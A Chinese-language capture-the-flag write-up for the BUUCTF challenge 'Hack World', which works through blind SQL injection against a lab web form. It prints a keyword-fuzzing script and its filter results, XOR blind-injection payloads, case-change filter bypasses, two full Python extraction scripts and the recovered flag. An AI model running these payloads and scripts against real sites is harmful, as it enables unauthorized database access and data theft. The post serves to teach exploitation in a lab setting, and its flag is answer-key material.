BUUCTF_WEB_[CISCN2019 华北赛区 Day2 Web1]Hack World 题解

[CISCN2019 华北赛区 Day2 Web1]Hack World

1.打开网页:

image-20230828141042210

发现有一个注入点,尝试对其进行注入,由题目提示得,flag在数据库中,所以该注入点应该为sql注入:

使用BP测试该网站属于什么请求:

payload:

1
1

image-20230828141849022

使用脚本判断该网站过滤了哪些内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time
# 打开读取SQL_fuzz文件
with open("SQL_fuzz.txt", "r") as f:
contents = f.readlines()
# print(contents)
# 删除读取数据中的'\n'
data_list = []
for msg in contents:
msg = msg.strip('\n')
# # 字符串根据空格进行分割
# d = msg.split(' ')
data_list.append(msg)
f.close
# print(data_list)

# 进行fuzz注入
url = "http://cbdddd87-2da0-4863-a3fa-3afcff406fb8.node4.buuoj.cn:81/index.php"
# GET请求
# for data in data_list:
# da = data
# da = "1 {}".format(data)
# da = "1{}".format(data)
# r = requests.get(url+da)
# # 使用time使请求能够拥有足够的时间去响应
# time.sleep(0.04)
# # 获取过滤网站响应信息
# reponse_txt = "臭弟弟"
# if (reponse_txt in r.text):
# print("该网站过滤了{}".format(data))

# POST请求
for d in data_list:
# da = d
# da = "1 {}".format(d)
da = "1{}".format(d)
payload = {
"id": da
}
r = requests.post(url=url, data=payload)
time.sleep(0.04)
reponse_txt = "SQL"
if (reponse_txt in r.text):
print("该网站过滤了{}".format(d))

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
该网站过滤了length Length
该网站过滤了+
该网站过滤了handler
该网站过滤了selectSeleCT
该网站过滤了delete
该网站过滤了oroR
该网站过滤了-~
该网站过滤了limitLimIt
该网站过滤了insertinsERTINSERT
该网站过滤了#
该网站过滤了--+
该网站过滤了INFORMATION
该网站过滤了--
该网站过滤了;
该网站过滤了+
该网站过滤了xor
该网站过滤了ANDANd
该网站过滤了"
该网站过滤了length
该网站过滤了+
该网站过滤了unionUNIonUNION
该网站过滤了"
该网站过滤了&
该网站过滤了&&
该网站过滤了||
该网站过滤了oorr
该网站过滤了//*
该网站过滤了*/*
该网站过滤了/**/
该网站过滤了anandd
该网站过滤了GROUP
该网站过滤了INTO
该网站过滤了OR
该网站过滤了ORDER
该网站过滤了ORD
该网站过滤了UNION
该网站过滤了UPDATE
该网站过滤了AND
该网站过滤了delete
该网站过滤了GROUP_CONCAT
该网站过滤了group_concat
该网站过滤了DELETE
该网站过滤了floor
该网站过滤了rand()
该网站过滤了information_schema.tables
该网站过滤了LIMIT
该网站过滤了ORD
该网站过滤了order
该网站过滤了ORDER
该网站过滤了OUTFILE
该网站过滤了updatexml
该网站过滤了format
该网站过滤了ord
该网站过滤了UPDATE
该网站过滤了/*
该网站过滤了`
该网站过滤了
该网站过滤了for
该网站过滤了BEFORE
该网站过滤了sys schemma
该网站过滤了SEPARATOR
该网站过滤了XOR
该网站过滤了CURSOR
该网站过滤了FLOOR

payload:

1
1

image-20230828141224893

payload:

1
1'

image-20230828141251957

payload:

1
1'#

image-20230828141354341

所以由测试得该网站不回显数据库信息,只返回true或false的结果,所以我们需要采取盲注

2.选择盲注类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
布尔盲注:
id=1 and 非0(true)或id=(1)and(非0(true))
返回id=1的界面
id=1 and 0(flase)或id=(1)and(0)
返回id=0的界面

异或盲注:
id=1^0(false)=>1
返回id=1的界面
id=1^1(true)=>0
返回id=0的界面
使用异或盲注需要后面有判断语句返回true和false

空字符或盲注:
id='' or 非0(true)=>1或id=''or(非0(true))
返回id=1的界面
id='' or 0(flase)=>0或id=''or(0)
返回id=0的界面

由于and和or都被过滤,所以我们只能选择异或盲注

3.获取盲注true和false的界面

payload:

id=0的界面

1
1^1

image-20230828143418789

payload:

id=1的界面

1
1^0

image-20230828143453303

4.爆数据库信息:

由于limit被限制,所以长度规定可以为自由,使用GROUP_CONCAT()获取全部信息

第一步:直接爆数据库的名字:

payload:

1
1^(ascii(substr(database(),1,1))>79)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+length(database())%3D4+%23&Submit=Submit#

url = 'http://cbdddd87-2da0-4863-a3fa-3afcff406fb8.node4.buuoj.cn:81/index.php'
n = 1
# 对数据库名字第n个字符进行暴力剖解
# payload:1' and ascii(substr(database(),n,1))>100
database_name = ""
database_lenth = 30 # 手动规定数据库名字长度
while n <= database_lenth:
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr(database()%2C{}%2C1))>{}+%23".format(n, tmp)

str = "1^(ascii(substr(database(),{},1))>{})".format(n, tmp)
payload2 = {
"id": str
}
# print(begin,end,tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload2)
r = requests.post(url=url, data=payload2)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Error"
# print(r.text)
if (true_text in r.text):
# 返回true界面
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
print("该数据库的第%d个字符:%c" % (n, chr(tmp)))
database_name = database_name + chr(tmp)
# 对下一个字符进行判断
n = n + 1
print("该数据库的名字为:"+database_name)

输出:

1
该数据库的名字为:ctftraih

第二步:由于由题目提示得,flag在flag表的flag字段中,所以直接爆flag字段信息即可:

select被过滤的绕过方式:

大小写绕过法:

该方法适用于任何在mysql中执行的单词代码

1
2
3
4
seleCt
SeLeCt
SELect
.......

测试:

image-20230828152946191

内联注释绕过:

当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行.

1
2
3
/*!select*/
/*!sElect*/
.....

测试:

image-20230828153246186

使用大小写绕过方式测试:

payload:

1
1seLeCt

image-20230828153509802

通过响应结果可知,可以绕过

由于group_concat也被过滤,且通过不断尝试,发现大小写都无法绕过,这里我们直接猜测该flag字段只有一行内容,且为flag的值

测试:

image-20230828154057973

只有substr中select返回的只有一行内容时,才不会发生报错

payload:

1
?id=1^(ascii(substr((seLEct({flag})from({flag})),{},1))>{})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+user+from+dvwa.users+limit+0%2C1)%2C1%2C1))%3D110+%23

url = 'http://cbdddd87-2da0-4863-a3fa-3afcff406fb8.node4.buuoj.cn:81/index.php'

# database_name存储数据库名字
database_name = "ctftraih"
# table_name存储指定表的名字
table_name = "flag"
# col_name存储指定字段的名字
col_name = "flag"
# col_data_num存储有多少列
# 手动指定要查看多少列数据,由于合在一起显示所以只有一列
col_data_num = 1
# col_data_charnum存储每个字段数据的字符个数
# 手动指定要查看多少字符数据
col_data_charnum = 50

rank_index = 0
# 先遍历该字段有多少列
while (rank_index < col_data_num):
rank_data_index = 0
# data用来字段该列的数据
data = ""
while (rank_data_index < col_data_charnum):
# 用二分法对当前字段进行猜解
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+{}+from+{}.{}+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(col_name, database_name, table_name, rank_index, rank_data_index+1, tmp)
# payload2 = "1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})".format(col_name, table_name, rank_data_index+1, tmp)
str = "1^(ascii(substr((seLEct({})from({})),{},1))>{})".format(col_name, table_name, rank_data_index+1, tmp)
# print(str)
payload2 = {
"id": str
}
# print(table_name[table_index], col_index, col_len_index, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload1 + str)
r = requests.post(url=url, data=payload2)
time.sleep(0.1)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Error"
# print(r.text)
if (true_text in r.text):
# 返回true界面
# print("true")
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
data = data + chr(tmp)
# 继续下一个字符
rank_data_index = rank_data_index + 1
# 继续下一列
print("{}字段第{}列的值:{}".format(col_name, rank_index + 1, data))
rank_index = rank_index + 1

输出:

1
flag字段第1列的值:flag{8ee345ea-b7e7-4384-883c-f953214c7f79} 

flag = flag{8ee345ea-b7e7-4384-883c-f953214c7f79}


BUUCTF_WEB_[CISCN2019 华北赛区 Day2 Web1]Hack World 题解
http://example.com/2023/08/28/2023-08-28-[CISCN2019 华北赛区 Day2 Web1]Hack World/
作者
South
发布于
2023年8月28日
许可协议